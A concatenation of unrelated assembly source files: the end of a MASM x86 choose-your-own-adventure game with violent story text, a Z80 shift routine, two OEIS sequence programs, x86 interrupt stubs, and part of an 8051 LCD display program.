text171 BYTE "You throw it at the man anyways.",0dh,0ah,0
;-----------------------------------------------------------------------------------------
;STEEL ROD
text172 BYTE "The steel rod bends on contact with the man and you notice he",0dh,0ah
text173 BYTE "is glowing blue.",0dh,0ah,0ah
text174 BYTE "1. Grab the stone and use it against him",0dh,0ah
text175 BYTE "2. Throw a rock at him",0dh,0ah
text176 BYTE "3. Crowbar" ,0dh,0ah,0
;-----------------------------------------------------------------------------------------
;1 ALTERNATE ENDING
text177 BYTE "You feel the power of the stone surge through your entire being.",0dh,0ah,0
text178 BYTE "You raise the stone, look this terrified man dead in the eye, and",0dh,0ah
text179 BYTE "call upon the stone to tear him apart.",0dh,0ah,0
;-----------------------------------------------------------------------------------------
text180 BYTE "You help Diaz out from the rubble. You wrap the wound on her arm.",0dh,0ah
text181 BYTE "She will remember your kindness." ,0dh,0ah,0
text182 BYTE "A man runs in the room and throws a knife at you.",0dh,0ah,0
text183 BYTE "Diaz steps in front of you and takes the hit..",0dh,0ah,0
text184 BYTE "It's a crit hit.",0dh,0ah,0
text185 BYTE "Before she dies she tells you not to touch the stone directly or",0dh,0ah
text186 BYTE "you'll die. Only a chosen few can weild the stone.",0dh,0ah,0
text187 BYTE "She also tells you that the cops are dirty and will take the stone.",0dh,0ah,0
text188 BYTE "If it falls into the wrong hands Ocla will use it to raise the Warlock.",0dh,0ah,0ah
text189 BYTE "1. Jump out of the window",0dh,0ah
text190 BYTE "2. Fight him",0dh,0ah,0
;JUMP OUT OF THE WINDOW
text191 BYTE "You were on the second floor.",0dh,0ah,0
text192 BYTE "You take 7 HP",0dh,0ah,0
text193 BYTE "1. Hide",0dh,0ah
text194 BYTE "2. Run",0dh,0ah,0
text195 BYTE "The Man:",0dh,0ah
text196 BYTE "I can sense your magic ",0dh,0ah,0
text197 BYTE "He teleports to you.",0dh,0ah,0
text198 BYTE "The Man:",0dh,0ah
text199 BYTE "You are the only one who can kill Master. So I will kill you.",0dh,0ah,0
;;CALL YOU DIE
;;CALL DIRTY COPS
;;ALT END
text200 BYTE "Chose a weapon",0dh,0ah,0ah
text201 BYTE "1. Rock",0dh,0ah
text202 BYTE "2. Steel rod",0dh,0ah
text203 BYTE "3. Pull the knife out of your friend's chest and throw it throw it",0dh,0ah
text204 BYTE "back to him",0dh,0ah,0
text205 BYTE "What you thought was a steel rod was actually a peice of cement with",0dh,0ah
text206 BYTE "an iron rod at the end of it.",0dh,0ah,0
text207 BYTE "Silly you!",0dh,0ah,0
text208 BYTE "You throw it at the man anyways.",0dh,0ah,0
;;CALL KILLEDOCLALEADER
text209 BYTE "What are you gunna do?",0dh,0ah,0ah
text210 BYTE "1. Use the stone to sneak away before the authorities get there",0dh,0ah
text211 BYTE "2. Hide the stone for your use later",0dh,0ah
text212 BYTE "3. Give the stone to the authorities",0dh,0ah,0
;;CALL DIRTY COPS
;;EVIL ENDING
text213 BYTE "What a way to avenge a friend.",0dh,0ah,0
text214 BYTE "You are inspired.",0dh,0ah,0
text215 BYTE "In a fit of rage you throw that knife.",0dh,0ah,0
text216 BYTE "It peirces his neck.",0dh,0ah,0
text217 BYTE "He'll be dead in seconds.",0dh,0ah,0
text218 BYTE "But thats not enough for you.",0dh,0ah,0
text219 BYTE "Diaz was your only shot at winning Dixon's case.",0dh,0ah,0
text220 BYTE "You run up to him, pull the knife out of his neck, and stab both of",0dh,0ah
text221 BYTE "his eyes out.",0dh,0ah,0
text221a BYTE "Finally, you carve his heart of his chest.",0dh,0ah,0
text222 BYTE "From the other side of the room, the stone beckons - the shining",0dh,0ah
text223 BYTE "blue light, the coolness you feel eminating from it, it's power-",0dh,0ah
text224 BYTE "it all draws you in.",0dh,0ah,0
text225 BYTE "You pick it up.",0dh,0ah,0
text226 BYTE "You feel as if you've been connected to it all your life. You know",0dh,0ah
text227 BYTE "exactly how to use it and it's capabilities.",0dh,0ah,0
text228 BYTE "With this now in your possesion, you posses magic itself.",0dh,0ah,0
text229 BYTE "You just stopped the possible apocolypse.",0dh,0ah,0
text230 BYTE "You're unstoppable.",0dh,0ah,0
.code
;--------------NAME FUNCTION------------
getName proc
mov edx, offset msg1
call writestring
mov ecx, sizeof name1
mov edx, offset name1
call readstring
;name in edx
ret
getName endp
;---------------------------------------
;--------------RACE FUNCTION------------
getRace proc
mov edx, OFFSET msg2a
mov ecx, SIZEOF race111
mov edx, OFFSET race111
call readstring
ret
getRace endp
;---------------------------------------
;-------------IF-AGE--------------------
ifage proc
cmp eax, 18
je continue
jl minor
jg continue
minor:
mov edx, OFFSET msg0
call writestring
jmp toend
continue:
call crlf
mov edx, offset text5
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text10
call writestring
call crlf
mov edx, OFFSET text12
call writestring
mov edx, OFFSET text14
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text14a
call writestring
mov edx, OFFSET name1
call writestring
mov edx, OFFSET text15
call writestring
call crlf
mov edx, OFFSET text17
call writestring
call readint
call choice1
toend:
ret
ifage endp
;---------------------------------------
;-------------CHOICE1-------------------
choice1 proc
cmp eax, 2
jg option1 ;chose #3
jl option2 ;chose #1
;chose #2
call clrscr
mov edx, OFFSET text39
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text43
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text45
call writestring
mov edx, OFFSET race111
call writestring
mov edx, OFFSET text49
call crlf
call waitmsg
call clrscr
jmp toend
option2:
call clrscr
mov edx, OFFSET text21
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text23
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text31
call writestring
call crlf
call waitmsg
call clrscr
jmp toend
option1:
call clrscr
mov edx, OFFSET text54
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text59
call writestring
call crlf
call waitmsg
call clrscr
toend:
call story1
ret
choice1 endp
;---------------------------------------
;------------INTRO BLOCK----------------
introblock proc
; first get the player's name
call getName
; now get the player's race
call crlf
; writing the options
mov edx, OFFSET msg2
call writestring
mov edx, OFFSET race1
call writestring
mov edx, OFFSET race2
call writestring
mov edx, OFFSET race3
call writestring
mov edx, OFFSET race4
call writestring
mov edx, OFFSET race5
call writestring
mov edx, OFFSET race6
call writestring
mov edx, OFFSET race7
call writestring
; reading and saving responce
call getRace
; next get the player's age
; we gotta be sure they legal
call crlf
mov edx, OFFSET msg3
call writestring
call readint
; type the intro text of the game
call crlf
mov edx, OFFSET introtext1
call writestring
call crlf
call crlf
call waitmsg
call clrscr
; write out the player's character's info
mov edx, offset text0
call writestring
mov edx, offset name1
call writestring
mov edx, offset text1
call writestring
call writeint
mov edx, offset text2
call writestring
mov edx, offset race111
call writestring
; establishes the bigining of the story
mov edx, offset text3
call writestring
call crlf
mov edx, offset text4
call writestring
call crlf
call waitmsg
call clrscr
ret
introblock endp
;---------------------------------------
;--------------STORY1-------------------
story1 proc
mov edx, OFFSET text68
call writestring
call readint
call clrscr
call choice2
ret
story1 endp
;---------------------------------------
;---------------CHOICE2-----------------
choice2 proc
cmp eax, 2
jl option1
;else option2
;so this is option2
mov edx, OFFSET text84
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text85
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text87
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text89
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text91
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text94
call writestring
call crlf
call waitmsg
call clrscr
jmp toend
option1:
mov edx, OFFSET text75
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text77
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text79
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text81
call writestring
call crlf
call waitmsg
call clrscr
toend:
call story2
ret
choice2 endp
;---------------------------------------
;---------------STORY2------------------
story2 proc
mov edx, OFFSET text96
call writestring
mov edx, OFFSET name1
call writestring
mov edx, OFFSET text98
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text99
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text100
call writestring
call crlf
call waitmsg
call clrscr
mov ecx, 20
mov eax, 5
mov edx, OFFSET text01
call writestring
call writeint
mov edx, OFFSET text02
call writestring
call crlf
call waitmsg
call clrscr
call hitpoints
mov eax, 0
mov edx, OFFSET text103
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text104
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text106
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text107
call writestring
call readint
call clrscr
call choice3
ret
story2 endp
;---------------------------------------
;---------------HitPoints---------------
hitpoints proc
mov edx, OFFSET text101
call writestring
;call dumpregs
sub ecx, eax
mov eax, ecx
;call dumpregs
call writeint
call crlf
mov ecx, eax
;call dumpregs
call waitmsg
call clrscr
ret
hitpoints endp
;---------------------------------------
;---------------CHOICE3-----------------
choice3 proc
cmp eax, 2
jl die ;option 1
jg diaz ;option3
;option2 call for help
mov edx, OFFSET text115
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text116
call writestring
call readint
call clrscr
call choice4
jmp toend
die:
mov edx, OFFSET text113
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text114
call writestring
call crlf
call waitmsg
call clrscr
jmp toend
diaz:
mov edx, OFFSET text180
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text182
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text183
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text184
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text185
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text187
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text188
call writestring
call readint
call clrscr
call choice9
toend:
ret
choice3 endp
;---------------------------------------
;--------------CHOICE10-----------------
choice10 proc
;;steel
cmp eax, 2
jl rock ;1
jg knife ;3
;;this is 2 = steel rod
mov edx, OFFSET text205
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text207
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text208
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text164
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text165
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text166
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text167
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text143
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text144
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text146
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text209
call readint
call clrscr
call choice11
jmp toend
rock:
mov edx, OFFSET text164
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text165
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text166
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text167
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text143
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text144
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text146
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text209
call writestring
call readint
call clrscr
call choice11
jmp toend
knife:
mov edx, OFFSET text213
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text214
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text215
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text216
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text217
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text218
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text219
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text220
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text221a
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text222
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text223
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text225
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text226
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text228
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text229
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text230
call writestring
call crlf
call waitmsg
call clrscr
toend:
ret
choice10 endp
;---------------------------------------
;--------------CHOICE11-----------------
choice11 proc
cmp eax, 3
je cops
jmp toend
cops:
call dirtycops
toend:
ret
choice11 endp
;---------------------------------------
;--------------CHOICE9------------------;;;JUMP OR FIGHT
choice9 proc
cmp eax,2
jl window
;;if 2
mov edx, OFFSET text200
call writestring
call readint
call clrscr
call choice10
jmp toend
window:
;;jump out of the window
mov edx, OFFSET text191
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text192
call writestring
call crlf
call waitmsg
call clrscr
mov eax, 7
call hitpoints
mov edx, OFFSET text193
call readint
call clrscr
mov edx, OFFSET text195
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text197
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text198
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text113
call writestring
call crlf
call waitmsg
call clrscr
call dirtycops
toend:
ret
choice9 endp
;---------------------------------------
;--------------CHOICE4------------------
choice4 proc
cmp eax, 1
jg op2
;option1
;atack of opportunity
mov edx, OFFSET text120
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text121
call writestring
call crlf
call waitmsg
call clrscr
mov eax,5
call hitpoints
mov edx, OFFSET text122
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text123
call writestring
call crlf
call waitmsg
call clrscr
mov eax,2
call hitpoints
mov edx, OFFSET text124 ;options HP 8 - 1,2,or3
call writestring
call readint
call clrscr
call choice6
jmp toend
op2:
mov edx, OFFSET text127 ;chose weapon
call writestring
call readint
call clrscr
call choice5
toend:
ret
choice4 endp
;---------------------------------------
;-------------dandg---------------------
dandg proc
mov edx, OFFSET text164
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text165
call writestring
call crlf
call waitmsg
call clrscr
call killedoclaleader
toend:
ret
dandg endp
;---------------------------------------
;------------CHOICE5--------------------;;;CHOSE WEAPON
choice5 proc
cmp eax,2
jg crow ;they chose 3 = crowbar
jl rock ;they chose 1 = rock
; they chose 2 = rod
mov edx, OFFSET text172
call writestring
call readint
call clrscr
call choice8
jmp toend
crow:
call crowbar
jmp toend
rock:
call dandg
toend:
ret
choice5 endp
;---------------------------------------
;------------CHOICE8--------------------;; STONE, CROW, OR ROCK
choice8 proc
cmp eax, 2
jg crow
jl stone
;;;rock
call dandg
jmp toend
crow:
call crowbar
stone:
mov edx, OFFSET text177
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text144
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text178
call writestring
call crlf
call waitmsg
call clrscr
call killedoclaleader
toend:
ret
choice8 endp
;---------------------------------------
crowbar proc
mov edx, OFFSET text168
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text170
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text171
call writestring
call crlf
call waitmsg
call clrscr
call killedoclaleader
ret
crowbar endp
;---------------------------------------
;------------CHOICE6--------------------
choice6 proc
cmp eax,2
jg dang ;they chose 3 = rock
jl stand ;they chose 1 = getup
;ask him about himself ;they chose 2
mov edx, OFFSET text163
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text160
call writestring
call crlf
call waitmsg
call clrscr
;;move to get punched
call getpunched
jmp toend
dang:
call dandg
jmp toend
stand:
mov edx, OFFSET text131
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text132
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text133
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text134
call writestring
call crlf
call waitmsg
call clrscr
call getpunched
toend:
ret
choice6 endp
;---------------------------------------
;--------------GETPUNCHED---------------
getpunched proc
mov edx, OFFSET text132
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text135
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text137
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text138
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text139
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text140
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text141
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text143
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text144
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text146
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text147
call writestring
call readint
call clrscr
mov edx, OFFSET text148
call writestring
call readint
call clrscr
call choice7
ret
getpunched endp
;---------------------------------------
;---------------CHOICE7-----------------;;;WHAT ARE YOU GUNNA DO
choice7 proc
cmp eax,2
jg cops ;chose 3
jg diaz ;chose 1
;chose 2 - later
jmp toend
cops:
call dirtycops
jmp toend
diaz:
toend:
ret
choice7 endp
;---------------------------------------
;---------------DIRTYCOPS---------------
dirtycops proc
mov edx, OFFSET text152
call writestring
call crlf
call waitmsg
call clrscr
ret
dirtycops endp
;---------------------------------------
;------KILLEDOCLALEADER-----------------
killedoclaleader proc
mov edx, OFFSET text166
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text167
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text143
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text144
call writestring
call crlf
call waitmsg
call clrscr
mov edx, OFFSET text146
call writestring
call readint
call clrscr
mov edx, OFFSET text147
call writestring
call readint
call clrscr
mov edx, OFFSET text148
call writestring
call readint
call clrscr
call choice7
ret
killedoclaleader endp
;---------------------------------------
main proc
mov ecx, 20 ;;these are the intitial/ max HP
call introblock
call ifage
toend:
mov edx, OFFSET text03
call writestring
call crlf
call waitmsg
exit
main endp
end main | 24.503101 | 99 | 0.662654 |
1666f43e38ed6a89f53c0095f12c7360a4a00725 | 414 | asm | Assembly | libsrc/_DEVELOPMENT/l/z80/integer/small/l_small_lsr_hl.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/l/z80/integer/small/l_small_lsr_hl.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/l/z80/integer/small/l_small_lsr_hl.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
SECTION code_l
PUBLIC l_small_lsr_hl
EXTERN error_znc
l_small_lsr_hl:
; logical shift right 16-bit unsigned int
;
; enter : hl = 16-bit number
; a = shift amount
;
; exit : hl = hl >> a
;
; uses : af, b, hl
or a
ret z
cp 16
jp nc, error_znc
ld b,a
ld a,l
shift_loop:
srl h
rra
djnz shift_loop
ld l,a
ret
| 10.894737 | 44 | 0.55314 |
7595a464b2ba68b10a47bb2372536809a3d0e435 | 729 | asm | Assembly | oeis/163/A163062.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/163/A163062.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/163/A163062.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A163062: a(n) = ((3+sqrt(5))*(1+sqrt(5))^n + (3-sqrt(5))*(1-sqrt(5))^n)/2.
; Submitted by Jamie Morken(w4)
; 3,8,28,88,288,928,3008,9728,31488,101888,329728,1067008,3452928,11173888,36159488,117014528,378667008,1225392128,3965452288,12832473088,41526755328,134383403008,434873827328,1407281266688,4554057842688,14737240752128,47690712875008,154330388758528,499423629017088,1616168813068288,5230032142204928,16924739536683008,54769607642185728,177238173431103488,573554777430949888,1856062248586313728,6006343606896427008,19436936208138108928,62899246843861925888,203546238520276287488,658689464416000278528
lpb $0
sub $0,1
mul $2,2
mov $3,$2
mul $4,2
add $4,1
mov $2,$4
add $4,$3
lpe
mov $0,$4
mul $0,5
add $0,3
| 42.882353 | 499 | 0.78738 |
b3132e14db4bed972463da668f4c09fde185607f | 2,070 | asm | Assembly | programs/oeis/305/A305073.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/305/A305073.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/305/A305073.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A305073: a(n) = 288*n^2 - 96*n (n>=1).
; 192,960,2304,4224,6720,9792,13440,17664,22464,27840,33792,40320,47424,55104,63360,72192,81600,91584,102144,113280,124992,137280,150144,163584,177600,192192,207360,223104,239424,256320,273792,291840,310464,329664,349440,369792,390720,412224,434304,456960,480192,504000,528384,553344,578880,604992,631680,658944,686784,715200,744192,773760,803904,834624,865920,897792,930240,963264,996864,1031040,1065792,1101120,1137024,1173504,1210560,1248192,1286400,1325184,1364544,1404480,1444992,1486080,1527744,1569984,1612800,1656192,1700160,1744704,1789824,1835520,1881792,1928640,1976064,2024064,2072640,2121792,2171520,2221824,2272704,2324160,2376192,2428800,2481984,2535744,2590080,2644992,2700480,2756544,2813184,2870400,2928192,2986560,3045504,3105024,3165120,3225792,3287040,3348864,3411264,3474240,3537792,3601920,3666624,3731904,3797760,3864192,3931200,3998784,4066944,4135680,4204992,4274880,4345344,4416384,4488000,4560192,4632960,4706304,4780224,4854720,4929792,5005440,5081664,5158464,5235840,5313792,5392320,5471424,5551104,5631360,5712192,5793600,5875584,5958144,6041280,6124992,6209280,6294144,6379584,6465600,6552192,6639360,6727104,6815424,6904320,6993792,7083840,7174464,7265664,7357440,7449792,7542720,7636224,7730304,7824960,7920192,8016000,8112384,8209344,8306880,8404992,8503680,8602944,8702784,8803200,8904192,9005760,9107904,9210624,9313920,9417792,9522240,9627264,9732864,9839040,9945792,10053120,10161024,10269504,10378560,10488192,10598400,10709184,10820544,10932480,11044992,11158080,11271744,11385984,11500800,11616192,11732160,11848704,11965824,12083520,12201792,12320640,12440064,12560064,12680640,12801792,12923520,13045824,13168704,13292160,13416192,13540800,13665984,13791744,13918080,14044992,14172480,14300544,14429184,14558400,14688192,14818560,14949504,15081024,15213120,15345792,15479040,15612864,15747264,15882240,16017792,16153920,16290624,16427904,16565760,16704192,16843200,16982784,17122944,17263680,17404992,17546880,17689344,17832384,17976000
mul $0,3
add $0,3
bin $0,2
mul $0,64
mov $1,$0
| 230 | 1,980 | 0.857005 |
c483462837251e70e584e03cf902a3695c64ea32 | 3,286 | asm | Assembly | boot/stage2/vetor.asm | nelsoncole/sirius-x86-64 | 741370f204a1da1fab2547e395f737cd383aee19 | [
"BSD-3-Clause"
] | 10 | 2021-08-18T22:37:50.000Z | 2022-02-07T11:12:32.000Z | boot/stage2/vetor.asm | nelsoncole/sirius-x86-64 | 741370f204a1da1fab2547e395f737cd383aee19 | [
"BSD-3-Clause"
] | null | null | null | boot/stage2/vetor.asm | nelsoncole/sirius-x86-64 | 741370f204a1da1fab2547e395f737cd383aee19 | [
"BSD-3-Clause"
] | null | null | null | bits 32
section .text
global isr00,isr01,isr02,isr03,isr04,isr05,isr06,isr07,isr08,isr09
global isr10,isr11,isr12,isr13,isr14,isr15,isr16,isr17,isr18,isr19
global isr20,isr21,isr22,isr23,isr24,isr25,isr26,isr27,isr28,isr29
global isr30,isr31
extern fault_exception
isr_jmp:
pushad
push ds
push es
push fs
push gs
push ss
mov eax,[esp+52] ; pega vetor
push eax
mov eax,0x10
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
call fault_exception
pop eax
pop ss
pop gs
pop fs
pop es
pop ds
popad
add esp,8
iretd
isr00:
push dword 0
push dword 0
jmp isr_jmp
isr01:
push dword 0
push dword 1
jmp isr_jmp
isr02:
push dword 0
push dword 2
jmp isr_jmp
isr03:
push dword 0
push dword 3
jmp isr_jmp
isr04:
push dword 0
push dword 4
jmp isr_jmp
isr05:
push dword 0
push dword 5
jmp isr_jmp
isr06:
push dword 0
push dword 6
jmp isr_jmp
isr07:
push dword 0
push dword 7
jmp isr_jmp
isr08:
;error code
push dword 8
jmp isr_jmp
isr09:
push dword 0
push dword 9
jmp isr_jmp
isr10:
;error code
push dword 10
jmp isr_jmp
isr11:
;error code
push dword 11
jmp isr_jmp
isr12:
;error code
push dword 12
jmp isr_jmp
isr13:
;error code
push dword 13
jmp isr_jmp
isr14:
;error code
push dword 14
jmp isr_jmp
isr15:
push dword 0
push dword 15
jmp isr_jmp
isr16:
push dword 0
push dword 16
jmp isr_jmp
isr17:
;error code
push dword 17
jmp isr_jmp
isr18:
push dword 0
push dword 18
jmp isr_jmp
isr19:
push dword 0
push dword 19
jmp isr_jmp
isr20:
push dword 0
push dword 20
jmp isr_jmp
isr21:
push dword 0
push dword 21
jmp isr_jmp
isr22:
push dword 0
push dword 22
jmp isr_jmp
isr23:
push dword 0
push dword 23
jmp isr_jmp
isr24:
push dword 0
push dword 24
jmp isr_jmp
isr25:
push dword 0
push dword 25
jmp isr_jmp
isr26:
push dword 0
push dword 26
jmp isr_jmp
isr27:
push dword 0
push dword 27
jmp isr_jmp
isr28:
push dword 0
push dword 28
jmp isr_jmp
isr29:
push dword 0
push dword 29
jmp isr_jmp
isr30:
push dword 0
push dword 30
jmp isr_jmp
isr31:
push dword 0
push dword 31
jmp isr_jmp
global irq00,irq01,irq02,irq03,irq04,irq05,irq06,irq07,irq08,irq09
global irq10,irq11,irq12,irq13,irq14,irq15
extern irq_function
irq00:
push dword 0
push dword 32
irq_jmp:
pushad
push ds
push es
push ss
push fs
push gs
mov eax,[esp+52] ; pega vetor
push eax
mov eax,0x10
mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax
call irq_function
pop eax
pop gs
pop fs
pop ss
pop es
pop ds
popad
add esp,8
iretd
irq01:
push dword 0
push dword 33
jmp irq_jmp
irq02:
push dword 0
push dword 34
jmp irq_jmp
irq03:
push dword 0
push dword 35
jmp irq_jmp
irq04:
push dword 0
push dword 36
jmp irq_jmp
irq05:
push dword 0
push dword 37
jmp irq_jmp
irq06:
push BYTE 0
push BYTE 38
jmp irq_jmp
irq07:
push dword 0
push dword 39
jmp irq_jmp
irq08:
push dword 0
push dword 40
jmp irq_jmp
irq09:
push dword 0
push dword 41
jmp irq_jmp
irq10:
push dword 0
push dword 42
jmp irq_jmp
irq11:
push dword 0
push dword 43
jmp irq_jmp
irq12:
push dword 0
push dword 44
jmp irq_jmp
irq13:
push dword 0
push dword 45
jmp irq_jmp
irq14:
push dword 0
push dword 46
jmp irq_jmp
irq15:
push dword 0
push dword 47
jmp irq_jmp
| 11.215017 | 66 | 0.723676 |
8452d700cfb370020e7236c54375469f1d03dac1 | 1,538 | asm | Assembly | LCD/Multi.asm | xfrings/8051-Experiments | c2b949a602812993096ceb0743d1c870d1286c79 | [
"MIT"
] | null | null | null | LCD/Multi.asm | xfrings/8051-Experiments | c2b949a602812993096ceb0743d1c870d1286c79 | [
"MIT"
] | null | null | null | LCD/Multi.asm | xfrings/8051-Experiments | c2b949a602812993096ceb0743d1c870d1286c79 | [
"MIT"
] | null | null | null | ;MULTI LINE AND MULTI SCREEN CONTINUOUS THROUGH DISPLAY
;TESTED AND CHECKED ON AT89C51- C51002/003
;09/08/2007
;PROGRAM RUN----------- SUCCESS.
ORG 0000H ; P1.1-RS
SJMP 0030H ; P1.2-R/W
ORG 0030H ; P1.3-EN
START: CLR A
MOV P1,A
MOV P2,A
MOV P3,A
MOV R3,A
MOV R4,A
INIT: MOV A,#38H
LCALL COMMAND
MOV A,#0CH
LCALL COMMAND
MOV A,#06H
LCALL COMMAND
MOV A,#01H
LCALL COMMAND
;MOV A,#'V'
;LCALL DISPLAY
REWRT: MOV R3,#00H
MOV R4,#00H
MOV R0,#00H
MOV DPTR,#0F80H
;CHAR BYTES FROM 0F80H
LOOP: CLR A
INC R3
MOVC A,@A+DPTR
INC DPTR
LCALL DISPLAY
LCALL DELAY
INC R0
CJNE R0,#20H,SIP1
MOV R0,#00H
LCALL CLEAR
SIP1: CLR A
MOVC A,@A+DPTR
CJNE R3,#10H,SKIP
MOV R3,#00H
INC R4
CJNE R4,#02H,NEXT
MOV R4,#00H
LCALL LINE1
SJMP SKIP
NEXT: LCALL LINE2
SKIP: CJNE A,#0FFH,LOOP
LCALL CLEAR
SJMP REWRT
HERE: SJMP HERE
COMMAND:LCALL READY
CLR P1.2
CLR P1.1
MOV P2,A
SETB P1.3
NOP
